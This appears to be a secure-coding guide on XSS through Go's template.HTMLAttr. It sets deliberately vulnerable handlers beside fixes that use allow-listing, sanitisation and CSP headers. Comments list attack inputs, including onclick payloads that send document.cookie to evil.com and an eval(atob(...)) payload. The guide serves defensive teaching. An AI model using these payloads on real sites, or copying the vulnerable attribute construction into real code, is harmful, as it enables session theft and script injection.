Go template.HTMLAttr XSS Vulnerability

Critical Risk Cross-site Scripting
goxsstemplate-injectionhtml-templatetemplate-htmlattrattribute-injectionwebinjectionuser-inputauto-escaping

What it is

A critical vulnerability that occurs when Go applications using the html/template package inappropriately use template.HTMLAttr to bypass auto-escaping for HTML attributes. This allows attackers to inject malicious HTML attributes containing JavaScript code, potentially leading to XSS attacks through attribute injection.

package main

import (
    "fmt"
    "html/template"
    "net/http"
)

func vulnerableAttrHandler(w http.ResponseWriter, r *http.Request) {
    userClass := r.URL.Query().Get("class")
    userID := r.URL.Query().Get("id")
    userStyle := r.URL.Query().Get("style")
    userTitle := r.URL.Query().Get("title")

    // Vulnerable: HTMLAttr with formatted user input
    classAttr := template.HTMLAttr(fmt.Sprintf("class='%s'", userClass))

    // Vulnerable: Multiple attributes with user data
    multiAttr := template.HTMLAttr(fmt.Sprintf("id='%s' title='%s'", userID, userTitle))

    // Vulnerable: Style attribute with user input
    styleAttr := template.HTMLAttr("style='" + userStyle + "'")

    // Vulnerable: Complex attribute construction
    allAttrs := template.HTMLAttr(fmt.Sprintf(`
        class='%s'
        id='%s'
        style='%s'
        onclick='handleClick("%s")'
    `, userClass, userID, userStyle, userTitle))

    // Template with unescaped attributes
    tmpl := template.Must(template.New("page").Parse(`
    <html>
    <body>
        <div {{.ClassAttr}}>Element 1</div>
        <div {{.MultiAttr}}>Element 2</div>
        <div {{.StyleAttr}}>Element 3</div>
        <div {{.AllAttrs}}>Element 4</div>
    </body>
    </html>
    `))

    data := map[string]interface{}{
        "ClassAttr": classAttr,
        "MultiAttr": multiAttr,
        "StyleAttr": styleAttr,
        "AllAttrs":  allAttrs,
    }

    tmpl.Execute(w, data)
}

// Attack vectors:
// ?class=" onload="alert('XSS')
// ?id=" onclick="fetch('//evil.com/steal?data='+document.cookie)
// ?style="; background-image: url('javascript:alert("XSS")')
// ?title=" onclick="eval(atob('YWxlcnQoJ1hTUycp'))
package main

import (
    "html/template"
    "net/http"
    "regexp"
    "strings"
)

// Safe: Structured data with validation
type ElementData struct {
    Class string
    ID    string
    Title string
    Valid bool
}

// Safe: Pre-compiled template with auto-escaping
var safeTemplate = template.Must(template.New("page").Parse(`
<html>
<body>
    <div class="{{.Class}}" id="{{.ID}}" title="{{.Title}}">Safe Element</div>
    {{if .Valid}}<div class="validated">Attributes validated</div>{{end}}
</body>
</html>
`))

// Validation functions
func validateClass(class string) string {
    allowedClasses := map[string]bool{
        "primary":   true,
        "secondary": true,
        "success":   true,
        "danger":    true,
        "warning":   true,
        "info":      true,
    }

    // Clean and check against whitelist
    clean := strings.TrimSpace(strings.ToLower(class))
    if allowedClasses[clean] {
        return clean
    }
    return "default" // Safe fallback
}

func validateID(id string) string {
    // Only allow alphanumeric, hyphen, underscore
    re := regexp.MustCompile(`^[a-zA-Z0-9_-]+$`)
    if re.MatchString(id) && len(id) <= 50 {
        return id
    }
    return "" // Invalid ID
}

func validateTitle(title string) string {
    // Limit length and remove dangerous characters
    title = strings.TrimSpace(title)
    if len(title) > 100 {
        title = title[:100]
    }

    // Remove quotes and script-like content
    dangerous := regexp.MustCompile(`[<>'"&]`)
    return dangerous.ReplaceAllString(title, "")
}

func safeAttrHandler(w http.ResponseWriter, r *http.Request) {
    userClass := r.URL.Query().Get("class")
    userID := r.URL.Query().Get("id")
    userTitle := r.URL.Query().Get("title")

    // Safe: Validate all inputs
    data := ElementData{
        Class: validateClass(userClass),
        ID:    validateID(userID),
        Title: validateTitle(userTitle),
    }

    // Mark as valid if all validations passed
    data.Valid = data.Class != "" && data.ID != "" && data.Title != ""

    w.Header().Set("Content-Type", "text/html; charset=utf-8")

    // Safe: Template auto-escapes all values
    safeTemplate.Execute(w, data)
}

// Alternative: If HTMLAttr is absolutely necessary
func conditionalAttrHandler(w http.ResponseWriter, r *http.Request) {
    userClass := r.URL.Query().Get("class")

    // Safe: Only use HTMLAttr with validated, constant strings
    var classAttr template.HTMLAttr
    switch validateClass(userClass) {
    case "primary":
        classAttr = template.HTMLAttr(`class="btn btn-primary"`)
    case "secondary":
        classAttr = template.HTMLAttr(`class="btn btn-secondary"`)
    case "danger":
        classAttr = template.HTMLAttr(`class="btn btn-danger"`)
    default:
        classAttr = template.HTMLAttr(`class="btn btn-default"`)
    }

    tmpl := template.Must(template.New("page").Parse(`
    <button {{.ClassAttr}}>Click Me</button>
    `))

    tmpl.Execute(w, map[string]interface{}{
        "ClassAttr": classAttr,
    })
}

💡 Why This Fix Works

The vulnerable code uses template.HTMLAttr with unvalidated user input, allowing attribute injection attacks. The fixed version validates inputs against whitelists and uses template auto-escaping.

Why it happens

Using template.HTMLAttr to wrap user input directly bypasses Go's attribute escaping mechanisms, allowing attackers to inject malicious attributes containing JavaScript event handlers or other dangerous content.

Root causes

Direct template.HTMLAttr with User Input

Using template.HTMLAttr to wrap user input directly bypasses Go's attribute escaping mechanisms, allowing attackers to inject malicious attributes containing JavaScript event handlers or other dangerous content.

Preview example – GO
// VULNERABLE: Direct HTMLAttr with user input
func vulnerableHandler(w http.ResponseWriter, r *http.Request) {
    userClass := r.URL.Query().Get("class")
    // Bypasses attribute escaping - allows attribute injection!
    classAttr := template.HTMLAttr(fmt.Sprintf("class='%s'", userClass))
    // Attack: class=" onload="alert('XSS')
}

Multiple Attribute Construction

Building multiple HTML attributes with user input and wrapping them with template.HTMLAttr creates multiple injection points within a single attribute context.

Preview example – GO
// VULNERABLE: Multiple attributes with user data
func buildAttributes(id, title string) template.HTMLAttr {
    return template.HTMLAttr(fmt.Sprintf("id='%s' title='%s'", id, title))
    // Attack: id=" onclick="fetch('//evil.com/steal?data='+document.cookie)
    // Attack: title=" onmouseover="eval(atob('malicious_code'))
}

Style Attribute Injection

Using template.HTMLAttr for style attributes is particularly dangerous as CSS can contain JavaScript through various means including expression() in older browsers or background-image with javascript: URLs.

Preview example – GO
// VULNERABLE: Style attribute with user input
func applyUserStyle(userStyle string) template.HTMLAttr {
    return template.HTMLAttr("style='" + userStyle + "'")
    // Attack: userStyle = "; background-image: url('javascript:alert("XSS")')"
    // Attack: userStyle = "'; background:url('//evil.com/track')"
}

JavaScript Event Handler Injection

Template.HTMLAttr can be exploited to inject JavaScript event handlers directly into HTML elements, providing a direct path to code execution in the browser.

Preview example – GO
// VULNERABLE: Event handler injection
func addClickHandler(callback string) template.HTMLAttr {
    return template.HTMLAttr(fmt.Sprintf("onclick='%s'", callback))
    // Attack: callback = "alert('XSS'); fetch('//evil.com/steal')"
    // Attack: callback = "'; eval(prompt('Enter malicious code:'))"
}

Fixes

1

Use Auto-Escaping with Structured Templates

Instead of template.HTMLAttr, use regular template variables that benefit from automatic escaping. Define structured templates and pass user data as string values that will be properly escaped.

View implementation – GO
// SECURE: Auto-escaping with structured templates
type ElementData struct {
    Class string
    ID    string
    Title string
}

var safeTemplate = template.Must(template.New("element").Parse(`
<div class="{{.Class}}" id="{{.ID}}" title="{{.Title}}">Content</div>
`))

func safeHandler(w http.ResponseWriter, r *http.Request) {
    data := ElementData{
        Class: validateClass(r.URL.Query().Get("class")),
        ID:    validateID(r.URL.Query().Get("id")),
        Title: r.URL.Query().Get("title"), // Auto-escaped
    }
    safeTemplate.Execute(w, data)
}
2

Implement Strict Input Validation and Whitelisting

For any dynamic attributes, implement strict validation against whitelists of allowed values. Never allow arbitrary user input in attribute contexts.

View implementation – GO
// Strict validation functions
func validateClass(class string) string {
    allowedClasses := map[string]bool{
        "primary":   true,
        "secondary": true,
        "success":   true,
        "danger":    true,
        "warning":   true,
        "info":      true,
    }
    
    clean := strings.TrimSpace(strings.ToLower(class))
    if allowedClasses[clean] {
        return clean
    }
    return "default" // Safe fallback
}

func validateID(id string) string {
    // Only allow alphanumeric, hyphen, underscore
    re := regexp.MustCompile(`^[a-zA-Z0-9_-]+$`)
    if re.MatchString(id) && len(id) <= 50 {
        return id
    }
    return "" // Invalid ID becomes empty
}
3

Use Constants for Known-Safe Attributes

When template.HTMLAttr is absolutely necessary, only use it with predefined, constant strings that you control. Map user input to these safe constants rather than using input directly.

View implementation – GO
// SECURE: Only use HTMLAttr with constants
func getButtonClass(userChoice string) template.HTMLAttr {
    switch validateClass(userChoice) {
    case "primary":
        return template.HTMLAttr(`class="btn btn-primary"`)
    case "secondary":
        return template.HTMLAttr(`class="btn btn-secondary"`)
    case "danger":
        return template.HTMLAttr(`class="btn btn-danger"`)
    default:
        return template.HTMLAttr(`class="btn btn-default"`)
    }
}

func conditionalHandler(w http.ResponseWriter, r *http.Request) {
    buttonClass := getButtonClass(r.URL.Query().Get("type"))
    
    tmpl := template.Must(template.New("button").Parse(`
        <button {{.ButtonClass}}>Click Me</button>
    `))
    
    tmpl.Execute(w, map[string]interface{}{
        "ButtonClass": buttonClass,
    })
}
4

Sanitize Attribute Values

If you must allow some dynamic content in attributes, sanitize the values by removing dangerous characters and patterns before using them.

View implementation – GO
// Attribute sanitization
func sanitizeTitle(title string) string {
    // Remove dangerous characters
    title = strings.TrimSpace(title)
    if len(title) > 100 {
        title = title[:100]
    }
    
    // Remove quotes, brackets, and script-like content
    dangerous := regexp.MustCompile(`[<>'"&(){}\[\]]`)
    title = dangerous.ReplaceAllString(title, "")
    
    // Remove javascript: and data: schemes
    schemes := regexp.MustCompile(`(?i)(javascript|data|vbscript):`)
    title = schemes.ReplaceAllString(title, "")
    
    return title
}

func safeAttributeHandler(w http.ResponseWriter, r *http.Request) {
    title := sanitizeTitle(r.URL.Query().Get("title"))
    
    data := struct{ Title string }{Title: title}
    template.Must(template.New("safe").Parse(`
        <div title="{{.Title}}">Safe content</div>
    `)).Execute(w, data)
}
5

Implement Content Security Policy

Use Content Security Policy headers to provide additional protection against attribute injection attacks, especially those that try to execute inline JavaScript.

View implementation – GO
// CSP headers for additional protection
func addSecurityHeaders(w http.ResponseWriter) {
    // Prevent inline scripts and styles
    w.Header().Set("Content-Security-Policy",
        "default-src 'self'; "+
        "script-src 'self' 'unsafe-eval'; "+ // Remove unsafe-eval in production
        "style-src 'self' 'unsafe-inline'; "+
        "img-src 'self' data:; "+
        "connect-src 'self'; "+
        "frame-ancestors 'none'")
    
    w.Header().Set("X-Content-Type-Options", "nosniff")
    w.Header().Set("X-Frame-Options", "DENY")
    w.Header().Set("X-XSS-Protection", "1; mode=block")
}

func secureHandler(w http.ResponseWriter, r *http.Request) {
    addSecurityHeaders(w)
    
    // Safe template rendering
    data := struct{ UserClass string }{
        UserClass: validateClass(r.URL.Query().Get("class")),
    }
    template.Must(template.New("secure").Parse(`
        <div class="{{.UserClass}}">Secure content</div>
    `)).Execute(w, data)
}

Detect This Vulnerability in Your Code

Sourcery automatically identifies go template.htmlattr xss vulnerability and many other security issues in your codebase.